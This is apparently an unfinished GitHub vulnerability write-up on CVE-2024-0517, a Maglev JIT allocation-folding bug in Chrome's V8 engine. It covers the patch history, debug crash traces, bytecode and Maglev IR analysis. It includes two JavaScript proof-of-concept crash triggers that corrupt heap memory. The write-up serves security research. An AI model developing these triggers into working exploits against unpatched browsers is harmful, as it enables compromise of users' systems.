Skip to content

Latest commit

 

History

History

Folders and files

NameName
Last commit message
Last commit date

parent directory

..
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 

README.md


Typing SVG

Don't take the below too seriously, it's just a quick insight;

Patch commit

The fix for the allocation folding problem itself went into the following commit:

Author: Andreas Haas <ahaas@chromium.org>
Date:   Mon Feb 12 15:05:50 2024 +0100
PS C:\Users\user\Documents\GitLab\v8> git log --grep 1515930
commit 78dd4b31847ab1f5b06ef3d8742a9f3835fb6919
Author: Leszek Swirski <leszeks@chromium.org>
Date:   Mon Jan 8 11:13:58 2024 +0100

    [maglev] Fix allocation folding in derived constructors

    Bug: v8:7700
    Change-Id: Ia33724d39d1397c7d47c36d14071abce6ed4b0fc
    Fixed: chromium:1515930
    Reviewed-on: https://chromium-review.googlesource.com/c/v8/v8/+/5173470
    Commit-Queue: Patrick Thier <pthier@chromium.org>
    Reviewed-by: Patrick Thier <pthier@chromium.org>
    Commit-Queue: Leszek Swirski <leszeks@chromium.org>
    Auto-Submit: Leszek Swirski <leszeks@chromium.org>
    Cr-Commit-Position: refs/heads/main@{#91709}

However it was noted that the method used to bypass Ubercage was remediated at an earlier date (see below).

Ubercage (V8 Heap Sandbox) Bypass Mitigation

For reference, the Ubercage high level design document.

It should be noted that there was an upstream V8 commit related to mitigating the Ubercage bypass method as illustrated in XI's research by moving the WASM instance into a new Trusted Space:

This upstream commit of moving WASM into a new Trusted Space was done prior to this CVE-2024-0517 maglev bug being reported/patched is a mitigating factor in this 'sploit. The reason being, that the above references (including the WASM Trusted Space commit) details Dec 07 2023 as the push date. On the other hand, the maglev bug patch commit looks to have been pushed on Jan 08 2024.

UPDATE

Reference: https://github.com/berstend/browser-monitor/blob/4ca59a810640a2d2469f2d7e69b454962a2e989f/chrome-stable-releases.json

{
    "channel": "Stable",
    "chromium_main_branch_position": 1217362,
    "hashes": {
      "angle": "76ead87021b954ab670d0c1e682f4828cb6adf25",
      "chromium": "9729082fe6174c0a371fc66501f5efc5d69d3d2b",
      "dawn": "acee31423468efdb650be9dc9172b30cc2015a4e",
      "devtools": "099860eb0f995fef1d97ecdbe3c354f0558bec3b",
      "pdfium": "a3895af47f600e3f9677f31fa39e15bd01c18457",
      "skia": "349c1179c43ef46f2804404952b9460dc007d76a",
      "v8": "5eefc590c868d8dfb411e53053c963fe42dcda74",
      "webrtc": "b0cc68e61205fd11a7256a6e85307ec17ad95790"
    },
    "milestone": 120,
    "platform": "Linux",
    "previous_version": "120.0.6099.62",
    "time": 1701896460000,
    "version": "120.0.6099.71",
    "previousVersion": "120.0.6099.62",
    "versionMajor": 120,
    "date": "2023-12-6",
    "browserApis": {
      "count": 8109,
      "added": 0,
      "removed": 0
    },
    "cdp": {
      "protocolHash": "2916c1b4",
      "commandsCount": 577,
      "commandsHash": "4d5696a4",
      "eventsCount": 186,
      "eventsHash": "8ed27d6c"
    },
    "previousHashes": {
      "angle": "76ead87021b954ab670d0c1e682f4828cb6adf25",
      "chromium": "93ab19d804d479b507c4694305631dfb65f8e930",
      "dawn": "acee31423468efdb650be9dc9172b30cc2015a4e",
      "devtools": "099860eb0f995fef1d97ecdbe3c354f0558bec3b",
      "pdfium": "a3895af47f600e3f9677f31fa39e15bd01c18457",
      "skia": "349c1179c43ef46f2804404952b9460dc007d76a",
      "v8": "5eefc590c868d8dfb411e53053c963fe42dcda74",
      "webrtc": "b0cc68e61205fd11a7256a6e85307ec17ad95790"
    }
  },

Referencing 9729082fe6174c0a371fc66501f5efc5d69d3d2b on Chromium dash validates the above. The POC demonstrated on XI's writeup was that against version 120.0.6099.71 (Stable Linux) which was a Dec 6, 2023 release, a day prior to the (Ubercage bypass technique used here) mitigating patch introduced on Dec 7, 2023. The maglev bug (CVE-2024-0517) itself was patched later on Mon Jan 8 2024.

As a result, I would revert prior to the Dec 07 2023 commit and debug from there.

The Ubercage bypass fix went into V8 at:

commit e081775bb1175fde8a6ec0797e9a9bca05dbb9da
Author: Clemens Backes <clemensb@chromium.org>
Date:   Thu Dec 7 10:15:39 2023 +0100

    [heap] Iterate the trusted space after scavenge

    Objects in the trusted space can contain OLD_TO_NEW references, hence
    iterate them after scavenge via the OldGenerationMemoryChunkIterator.

    So far, our trusted objects only contain references to other old
    objects, but with the new WasmTrustedInstanceData this will change.

    R=omerkatz@chromium.org
    CC=saelo@chromium.org

    Bug: v8:14499
    Change-Id: Ibb544f9f8768614c701e9f54fa930801243ca930
    Reviewed-on: https://chromium-review.googlesource.com/c/v8/v8/+/5095093

Therefore the commit before is de2be5ee06d80b6286fa6d01d6fa8d206656fa1e. However, we will revert to the V8 version released in Chrome version 120.0.6099.71 (Stable Linux), being that of 5eefc590c868d8dfb411e53053c963fe42dcda74.

Minimal crash trigger

Apparent minimal crash trigger according to XI, this appears as though it would need modification for further control over when and how the bug is triggered i.e. variations in constructor(s) and enforcing GC events etc but is a good starting point:

function main() {
  class ClassParent {}
  class ClassBug extends ClassParent {
      constructor() {
        const v24 = new new.target();
        super();
        let a = [9.9,9.9,9.9,1.1,1.1,1.1,1.1,1.1];
      }
      [1000] = 8;
  }

  for (let i = 0; i < 300; i++) {
      Reflect.construct(ClassBug, [], ClassParent);
  }
}
%NeverOptimizeFunction(main);
main();

DCHECK from above trigger

In accordance to XI's research, the DCHECK from the above minimal crash trigger on a debug build (as expected):

$ ./d8 --max-opt=2 --allow-natives-syntax --expose-gc --jit-fuzzing ../../../../xi_minimal_crash.js 


#
# Fatal error in ../../src/objects/object-type.cc, line 82
# Type cast failed in CAST(LoadFromObject(machine_type, object, IntPtrConstant(offset - kHeapObjectTag))) at ../../src/codegen/code-stub-assembler.h:1352
  Expected Map but found Smi: 0xcccccccd (-858993459)

#
#
#
#FailureMessage Object: 0xfffff43b23f8
==== C stack trace ===============================

    ./d8(v8::base::debug::StackTrace::StackTrace()+0x24) [0xaaaabd3d4fac]
    ./d8(+0x9abe6c4) [0xaaaabd3ce6c4]
    ./d8(V8_Fatal(char const*, int, char const*, ...)+0x1cc) [0xaaaabd3a3ab0]
    ./d8(v8::internal::CheckObjectType(unsigned long, unsigned long, unsigned long)+0x8964) [0xaaaaba19d4ac]
    [0xaaaae77a3dd0]
Trace/breakpoint trap (core dumped)

Another trigger [?]

function gc() {
    for (let i = 0; i < 1000; i++) {
        new ArrayBuffer(0x10000);
    }
}

var x;
let a;
class A { }
class B extends A {
    constructor() {
        x = new.target;
        super();
        gc();
        a = [1.1]; // overwrite FreeSpace object
    }
}

for (let i = 0; i < 1000; i++) { new B(); } // optimization

Multiple runs, multiple DCHECK differences (reliability factors?):

$ ./d8 --max-opt=2 --allow-natives-syntax --expose-gc --jit-fuzzing ../../../../homeb0dy-poc.js 

#
# Fatal error in ../../src/heap/concurrent-marking.cc, line 342
# Check failed: !IsFreeSpaceOrFillerMap(map).
#
#
#
#FailureMessage Object: 0xffffb9bc4d48
==== C stack trace ===============================

    ./d8(v8::base::debug::StackTrace::StackTrace()+0x24) [0xaaaac2174fac]
    ./d8(+0x9abe6c4) [0xaaaac216e6c4]
    ./d8(V8_Fatal(char const*, int, char const*, ...)+0x1cc) [0xaaaac2143ab0]
    ./d8(v8::internal::ConcurrentMarking::RunMajor(v8::JobDelegate*, v8::base::EnumSet<v8::internal::CodeFlushMode, int>, unsigned int, bool)+0x66c) [0xaaaabe634ab0]
    ./d8(v8::internal::ConcurrentMarking::JobTaskMajor::Run(v8::JobDelegate*)+0x27c) [0xaaaabe6bf3d0]
    ./d8(v8::platform::DefaultJobWorker::Run()+0xdc) [0xaaaac21781a4]
    ./d8(v8::platform::DefaultWorkerThreadsTaskRunner::WorkerThread::Run()+0xd4) [0xaaaac2186f9c]
    ./d8(v8::base::Thread::NotifyStartedAndRun()+0x48) [0xaaaac2166d74]
    ./d8(+0x9ab6188) [0xaaaac2166188]
    /lib/aarch64-linux-gnu/libc.so.6(+0x7d5c8) [0xffffbcecd5c8]
    /lib/aarch64-linux-gnu/libc.so.6(+0xe5edc) [0xffffbcf35edc]
Trace/breakpoint trap (core dumped)
$ ./d8 --max-opt=2 --allow-natives-syntax --expose-gc --jit-fuzzing crash2.js 


#
# Fatal error in ../../src/objects/free-space-inl.h, line 85
# Check failed: !heap->deserialization_complete() || map_slot().contains_map_value(free_space_map.ptr()).
#
#
#
#FailureMessage Object: 0xffffd13ea908
==== C stack trace ===============================

    ./d8(v8::base::debug::StackTrace::StackTrace()+0x24) [0xaaaad68a4fac]
    ./d8(+0x9abe6c4) [0xaaaad689e6c4]
    ./d8(V8_Fatal(char const*, int, char const*, ...)+0x1cc) [0xaaaad6873ab0]
    ./d8(v8::internal::FreeSpace::IsValid() const+0xdc) [0xaaaad2ecd78c]
    ./d8(v8::internal::FreeSpace::next() const+0x28) [0xaaaad2ecc1a8]
    ./d8(v8::internal::FreeListCategory::FreeListLength()+0x74) [0xaaaad2ecbaec]
    ./d8(v8::internal::FreeList::IsVeryLong()+0x88) [0xaaaad2ecbb98]
    ./d8(v8::internal::FreeList::VerifyAvailable()+0x28) [0xaaaad2ecc93c]
    ./d8(v8::internal::FreeList::Available()+0x20) [0xaaaad307ebe0]
    ./d8(v8::internal::PagedSpaceBase::Available() const+0x48) [0xaaaad307c0f4]
    ./d8(+0x60efd6c) [0xaaaad2ecfd6c]
    ./d8(v8::internal::GCTracer::StartInSafepoint(v8::base::TimeTicks)+0x98) [0xaaaad2ecfa5c]
    ./d8(v8::internal::Heap::PerformGarbageCollection(v8::internal::GarbageCollector, v8::internal::GarbageCollectionReason, char const*)+0x4d8) [0xaaaad2f04ae4]
    ./d8(+0x6148ffc) [0xaaaad2f28ffc]
    ./d8(+0x6148c84) [0xaaaad2f28c84]
    ./d8(+0x7a5f530) [0xaaaad483f530]
Trace/breakpoint trap (core dumped)
$ ./d8 --max-opt=2 --allow-natives-syntax --expose-gc --jit-fuzzing crash2.js 
Received signal 11 SEGV_ACCERR 18913347586c

==== C stack trace ===============================

 [0xaaaacb2d4fac]
 [0xaaaacb2d4f04]
 [0xffff9aa777dc]
 [0xaaaac7046bc8]
 [0xaaaac7046b74]
 [0xaaaac7046b28]
 [0xaaaac7046adc]
 [0xaaaac70468ec]
 [0xaaaac706ed24]
 [0xaaaac706ec90]
 [0xaaaac706ebcc]
 [0xaaaac70db1dc]
 [0xaaaac70db178]
 [0xaaaac79f0bb8]
 [0xaaaac79f0e6c]
 [0xaaaac79f0e14]
 [0xaaaac79f0d5c]
 [0xaaaac79deea4]
 [0xaaaac79dea98]
 [0xaaaac79dded8]
 [0xaaaac79ceb54]
 [0xaaaac79c967c]
 [0xaaaac79354b8]
 [0xaaaac7934bc0]
 [0xaaaac7958ffc]
 [0xaaaac7958c84]
 [0xaaaac926f530]
[end of stack trace]
Segmentation fault (core dumped)

Overview

Maglev is a recent Just-In-Time (JIT) compiler introduced in Chrome M117 for Google's V8 JavaScript engine. It fits into the V8 engine's multi-layered architecture, positioned between the existing Sparkplug and TurboFan compilers. Maglev optimises performance by utilising a Static Single Assignment (SSA) structure with a Control Flow Graph (CFG). It optimises execution by generating SSA nodes from runtime feedback regarding object types and shapes, forming what is known as Maglev's intermediate representation (IR). The primary goal of Maglev is to efficiently optimise code through a combination of static analysis and dynamic optimisation techniques, primarily leveraging feedback collected from the interpreter (Ignition). This approach allows Maglev to improve performance by making decisions based on both compile-time and runtime data.

Pipeline

Analysis

Using the minimal crash trigger to understand the bug initially:

function main() {
  class ClassParent {
  }
  class ClassBug extends ClassParent {
      constructor() {
        const v24 = new new.target();
        super();
        let a = [9.9,9.9,9.9,1.1,1.1,1.1,1.1,1.1];
      }
      [1000] = 8;
  }
  for (let i = 0; i  300; i++) {
      Reflect.construct(ClassBug, [], ClassParent);
  }
}
%NeverOptimizeFunction(main);
main();

This results in the expected DCHECK:

#
# Fatal error in ../../src/objects/object-type.cc, line 82
# Type cast failed in CAST(LoadFromObject(machine_type, object, IntPtrConstant(offset - kHeapObjectTag))) at ../../src/codegen/code-stub-assembler.h:1349
  Expected Map but found Smi: 0xcccccccd (-858993459)

#
#
#
#FailureMessage Object: 0xfffffb61a108
==== C stack trace ===============================

    ./d8(v8::base::debug::StackTrace::StackTrace()+0x24) [0xaaaad056fc5c]
    ./d8(+0x9569354) [0xaaaad0569354]
    ./d8(V8_Fatal(char const*, int, char const*, ...)+0x19c) [0xaaaad053d5ec]
    ./d8(v8::internal::CheckObjectType(unsigned long, unsigned long, unsigned long)+0x8910) [0xaaaacd49c664]
    [0xaaaaf77a3df0]
Trace/breakpoint trap (core dumped)

The above DCHECK indicates a type checking failure during the execution of the JavaScript code.

Type cast failed in CAST(LoadFromObject(machine_type, object, IntPtrConstant(offset - kHeapObjectTag))) at ../../src/codegen/code-stub-assembler.h:1349

It seems as though this is the operation that failed, whereby, it is trying to cast an object loaded from a specific memory address, but the object type was not as expected (Expected Map but found Smi: 0xcccccccd (-858993459)). This tells us that the operation was expexting an object of type Map, a fundamental internal type used in V8 to store property keys and values of JavaScript objects, but instead, it found an Smi (small integer) object.

The stack trace shows the sequence of function calls leading up to the error. It starts from higher-level methods and moves down to the specific method where the failure occurred (v8::internal::CheckObjectType).

In summary, the error arises because the code attempted to handle a small integer (Smi) as if it were a complex object (Map).

Looking closer at the Maglev Intermediate Representation (IR) graph we can debug the above by supplying ./d8 with the --print-maglev-graph flag. This is useful as it allows visualisation and further understanding in pertinence to the optimisations performed by the Maglev compiler here.

./d8 --allow-natives-syntax ../../../../../pocs/xi_minimal_crash.js --print-maglev-graph --jit-fuzzing

First --print-maglev-graph will print the bytecode representing the JavaScript code. This bytecode shown with -print-maglev-graph is generated by Ignition, the V8 interpreter. Maglev then takes this Ignition-produced bytecode and lowers it for fast optimisations. Starting with this bytecode, Maglev utilises runtime feedback gathered by Ignition, such as type information and execution frequency of code segments, to apply targeted optimisations represented within the Maglev IR graph (of which is represented as a CFG populated by nodes).

Ignition generated bytecode

         0x17830000226c @    0 : 19 fe f8          Mov <closure>, r1
         0x17830000226f @    3 : 0b f9             Ldar r0
         0x178300002271 @    5 : 69 f9 f9 00 00    Construct r0, r0-r0, [0]
         0x178300002276 @   10 : c4                Star2
         0x178300002277 @   11 : 5a fe f9 f2       FindNonDefaultConstructorOrConstruct <closure>, r0, r7-r8       <-- the vulnerability stems from how this operation is lowered into the Maglev IR
         0x17830000227b @   15 : 0b f2             Ldar r7
         0x17830000227d @   17 : 19 f8 f5          Mov r1, r4
         0x178300002280 @   20 : 19 f9 f3          Mov r0, r6
         0x178300002283 @   23 : 19 f1 f4          Mov r8, r5
         0x178300002286 @   26 : 9a 0c             JumpIfTrue [12] (0x178300002292 @ 38)
         0x178300002288 @   28 : af f4             ThrowIfNotSuperConstructor r5
         0x17830000228a @   30 : 0b f3             Ldar r6
         0x17830000228c @   32 : 69 f4 f9 00 02    Construct r5, r0-r0, [2]
         0x178300002291 @   37 : c1                Star5
         0x178300002292 @   38 : 0b 02             Ldar <this>
         0x178300002294 @   40 : ae                ThrowSuperAlreadyCalledIfNotHole
         0x178300002295 @   41 : 19 f4 02          Mov r5, <this>
         0x178300002298 @   44 : 2d f5 00 04       GetNamedProperty r4, [0], [4]
         0x17830000229c @   48 : 9e 0a             JumpIfUndefined [10] (0x1783000022a6 @ 58)
         0x17830000229e @   50 : bf                Star7
         0x17830000229f @   51 : 5d f2 f4 06       CallProperty0 r7, r5, [6]
         0x1783000022a3 @   55 : 19 f4 f3          Mov r5, r6
         0x1783000022a6 @   58 : 7b 01 08 25       CreateArrayLiteral [1], [8], #37
         0x1783000022aa @   62 : c3                Star3
         0x1783000022ab @   63 : 0b 02             Ldar <this>
         0x1783000022ad @   65 : ab                Return

The bytecode generated by the Ignition interpreter above represents the intermediate representation of ClassBug, which is then used as input by the Maglev compiler to produce optimised machine code. Each instruction performs a specific operation, such as moving values between registers, constructing objects, accessing properties, and branching based on conditions. The bytecode begins with setting up the function closure and proceeds with constructing objects, handling super constructor calls, accessing properties of the current object, and finally creating an array literal before returning. One critical point in the bytecode is the FindNonDefaultConstructorOrConstruct operation, which appears to search for a non-default constructor or construct operation (in this case a derived constructor), indicating inheritance or construction hierarchy handling. The vulnerability here lies in the manner in which Maglev will lower the  FindNonDefaultConstructorOrConstruct bytecode operation into the Maglev IR which will be explained in further detail below.

Maglev IR (SSA) Graph

The Maglev IR graph provides a detailed visual representation of how the JavaScript code is translated into the nodes and edges of the IR graph. Each node typically represents operations or instructions, and the edges denote the flow of control and data dependencies between these operations. The graph also depicts memory allocation operations. This includes how objects are allocated in the heap, how memory is managed for temporary objects, and how Maglev optimises these allocations (i.e via FoldedAllocation for example). As a result, this enables us to observe and analyse the detailed processes involved in object construction, superclass constructor invocations, and memory allocation. Additionally, it showcases the optimisation techniques employed by the Maglev compiler, such as inlining of constructors, loop optimisation, and usage of type feedback for speculative optimisations.

      [...]
     13/7: Jump b2
        ↓
   Block b2
     [...]
        ↓
   Block b3
  [...]
    11 : FindNonDefaultConstructorOrConstruct <closure>, r0, r7-r8
    20/18: AllocateRaw(Young, 100) → [x1|R|t] (spilled: [stack:1|t]), live range: [20-48]
    21/19: StoreMap(0x064a0011afbd <Map[12](HOLEY_ELEMENTS)>) [v20/n18:[x1|R|t]]
    22/20: StoreTaggedFieldNoWriteBarrier(0x4) [v20/n18:[x1|R|t], v5/n10:[x0|R|t]]
    23/21: StoreTaggedFieldNoWriteBarrier(0x8) [v20/n18:[x1|R|t], v5/n10:[x0|R|t]]
    26 : JumpIfTrue [12]
    24/22: Jump b4
        ↓
   Block b4
    40 : ThrowSuperAlreadyCalledIfNotHole
    25/23: ThrowSuperAlreadyCalledIfNotHole [v10/n1:[stack:-6|t]]
           ↳ lazy @40 (4 live vars)
       54: ConstantGapMove(v3/n24 → [x2|R|t])
    48 : JumpIfUndefined [10]
╭───26/25: BranchIfRootConstant(undefined_value) [v3/n24:[x2|R|t]] b7 b5
│       ↓
│  Block b5
│ 0x064a0011aa81 <SharedFunctionInfo ClassBug> (0x064a001c8e91 <String[39]: "../../../../../pocs/xi_minimal_crash.js">)
│    0 : LdaImmutableCurrentContextSlot [2]
│   27/26: Jump b6
│       ↓
│  Block b6
│      55: ConstantGapMove(v2/n3 → [x27|R|t])
│      56: ConstantGapMove(v4/n27 → [x2|R|t])
│      57: ConstantGapMove(v7/n28 → [x0|R|t])
│      58: ConstantGapMove(v6/n29 → [x5|R|t])
│ 0x064a0011aa81 <SharedFunctionInfo ClassBug> (0x064a001c8e91 <String[39]: "../../../../../pocs/xi_minimal_crash.js">:8:15)
│    5 : DefineKeyedOwnProperty <this>, r0, #0, [0]
│   28/30: 🐢 DefineKeyedOwnGeneric [v2/n3:[x27|R|t], v20/n18:[x1|R|t], v4/n27:[x2|R|t], v7/n28:[x0|R|t], v6/n29:[x5|R|t]] → [x0|R|t]
│          │      @51 (3 live vars)
│          ↳ lazy @5 (2 live vars)
│ 0x064a0011aa41 <SharedFunctionInfo ClassBug> (0x064a001c8e91 <String[39]: "../../../../../pocs/xi_minimal_crash.js">)
│   58 : CreateArrayLiteral [1], [8], #37
│╭──29/31: Jump b8
││
╰─►Block b7
 │  30/32: Jump b8
 │      ↓
 ╰►Block b8
    31/33: FoldedAllocation(+12) [v20/n18:[x1|R|t]] → [x2|R|t], live range: [31-46]
       59: GapMove([x2|R|t] → [x1|R|t])
    32/34: StoreMap(0x064a00000851 <Map(FIXED_DOUBLE_ARRAY_TYPE)>) [v31/n33:[x1|R|t]]
       60: ConstantGapMove(v7/n28 → [x3|R|t])
    33/35: StoreTaggedFieldNoWriteBarrier(0x4) [v31/n33:[x1|R|t], v7/n28:[x3|R|t]]
       61: ConstantGapMove(v9/n36 → [v0|R|f64])
    34/37: StoreFloat64(0x8) [v31/n33:[x1|R|t], v9/n36:[v0|R|f64]]
    35/38: StoreFloat64(0x10) [v31/n33:[x1|R|t], v9/n36:[v0|R|f64]]
    36/39: StoreFloat64(0x18) [v31/n33:[x1|R|t], v9/n36:[v0|R|f64]]
       62: ConstantGapMove(v8/n40 → [v0|R|f64])
    37/41: StoreFloat64(0x20) [v31/n33:[x1|R|t], v8/n40:[v0|R|f64]]
    38/42: StoreFloat64(0x28) [v31/n33:[x1|R|t], v8/n40:[v0|R|f64]]
    39/43: StoreFloat64(0x30) [v31/n33:[x1|R|t], v8/n40:[v0|R|f64]]
    40/44: StoreFloat64(0x38) [v31/n33:[x1|R|t], v8/n40:[v0|R|f64]]
    41/45: StoreFloat64(0x40) [v31/n33:[x1|R|t], v8/n40:[v0|R|f64]]
       63: GapMove([stack:1|t] → [x4|R|t])
    42/46: FoldedAllocation(+84) [v20/n18:[x4|R|t]] → [x5|R|t], live range: [42-46]
       64: GapMove([x5|R|t] → [x1|R|t])
    43/47: StoreMap(0x064a0010efb1 <Map[16](PACKED_DOUBLE_ELEMENTS)>) [v42/n46:[x1|R|t]]
    44/48: StoreTaggedFieldNoWriteBarrier(0x4) [v42/n46:[x1|R|t], v5/n10:[x0|R|t]]
    45/49: StoreTaggedFieldNoWriteBarrier(0xc) [v42/n46:[x1|R|t], v7/n28:[x3|R|t]]
    46/50: StoreTaggedFieldNoWriteBarrier(0x8) [v42/n46:[x1|R|t], v31/n33:[x2|R|t]]
    65 : Return
    47/51: ReduceInterruptBudgetForReturn(65)
       65: GapMove([x4|R|t] → [x0|R|t])
    48/52: Return [v20/n18:[x0|R|t]]

At node 20 variable 18 in block b3, Maglev performs a raw allocation through AllocateRaw(Young, 100), which preemptively allocates space in the young generation of the heap, specifically reserving 100 units of space. This allocation is directly tied to the register [rdi|R|t], indicating that the result of the allocation (i.e., the starting address of the allocated space) is stored in the rdi register. The operation also specifies that this register value is spilled to the stack, which aids in preserving its value across function calls or other register pressure scenarios. The live range denoted as [20-47] indicates the scope where this register's value is relevant and actively used. In this context, we can see that this allocation is geared towards accommodating a double array, ensuring that sufficient space is available without the immediate need for additional memory allocation during its usage phase.

Refering to the Maglev design document, this register assignment is an essential part of Maglev's register allocation strategy, which includes a custom, simple register allocator that conducts a linear scan over the nodes to manage register usage efficiently.

Each node within this system has a designated spill slot, a memory location where the register's value can be stored if the register needs to be used for another purpose, a process known as spilling. By default, the spilling occurs at the moment of node creation, which allows for the value to be quickly reloaded into a register as needed. However, this spilling to the spill slot is conditional and can be omitted if it turns out the node’s value remains consistently within a register throughout its live range.

The operation at Node 28 variable 30 in block b6 involves defining a property on an object, which indirectly triggers a minor garbage collection event (Scavenge) due to the allocation size required for the double array ([1000] = 8) as seen via --trace-gc (not visibile within Maglev IR):

[231297:0xaaab10c3c730]       88 ms: Scavenge 1.0 (2.5) -> 0.2 (2.8) MB, 1.27 / 0.00 ms  (average mu = 1.000, current mu = 1.000) task;

At node 31 variable 33 in block b8, the FoldedAllocation operation utilises previously allocated space, initially reserved at an earlier point (referenced as variable 20 at Node 18). It achieves this by recovering the spilled value from the stack, then adjusting the pointer by adding 12 units to it, and storing the updated pointer back into the rcx register. Subsequent operations include a GapMove, which transfers the pointer from rcx to rdi. Following this, at node 32 variable 34, a StoreMap operation writes the metadata (Map) for the double array starting at this new pointer address. This results in rewriting memory at a different location than the one expected by Maglev IR as it was moved by the garbage collection cycle at node 28 variable 30 (block b6).

// Never got to finish the writeup, too many new bugs within the current era..